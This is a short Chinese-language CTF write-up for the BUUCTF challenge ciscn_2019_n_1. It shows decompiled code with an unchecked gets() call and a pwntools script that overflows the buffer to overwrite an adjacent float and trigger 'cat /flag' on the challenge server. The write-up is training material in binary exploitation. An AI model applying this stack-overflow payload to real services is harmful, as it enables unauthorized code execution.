今天开始把精力主要放在pwv和rev上,misc和web偶尔玩玩。
不得不说bugku在这方面有点不专业,pwn题太少了,还是buu硬核一点。
1.Buuctf
ciscn_2019_n_1
IDA64打开文件,找到关键代码块。
int func()
{
int result; // eax
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
从定义方式就可以看出,v1、v2的地址是相邻的,所以基本的逻辑就是先把v1填满,再把v2的值覆盖为11.28125。
11.28125的十六进制表示可以在IDA中看到。
写py得到flag。
//python3
from pwn import *
ctf=remote('node4.buuoj.cn',26021)#建立连接
payload='a'*44 + p32(0x41348000).decode('unicode_escape')
#flag=str.encode(payload)
ctf.sendline(payload)
ctf.interactive()